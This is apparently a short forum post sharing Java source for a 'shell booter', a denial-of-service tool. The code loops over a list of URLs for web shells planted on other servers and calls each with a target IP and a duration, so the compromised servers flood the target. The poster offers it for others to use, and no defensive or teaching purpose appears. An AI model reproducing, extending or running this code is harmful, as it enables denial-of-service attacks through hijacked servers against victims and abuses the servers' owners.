Basic shell booting in Java.

Reputation
0
Code:
import java.io.IOException;
import java.net.URL;
import java.util.ArrayList;


public class Booter {

	static ArrayList<String> shells = new ArrayList();

	public static void main(String[] args) {
		shells.add("example.com/derp.php");
		shells.add("example2.com/derp.php");
		boot("127.0.0.1", 180);
	}

	static void boot(String ip, int time) {
		try {
			for (int i = 0; i < getShellCount(); i++) {
				URL url = new URL(shells.get(i) + "?act=phptools&host="+ip+"&time="+Integer.toString(time));
				url.openStream();
			}
		} catch(Exception e) {
			e.printStackTrace();
		}
	}

	static int getShellCount() {
		return shells.size();
	}
}

Don't know if any of you will use it, but it's kind of useful in my opinion.
 
Back
Top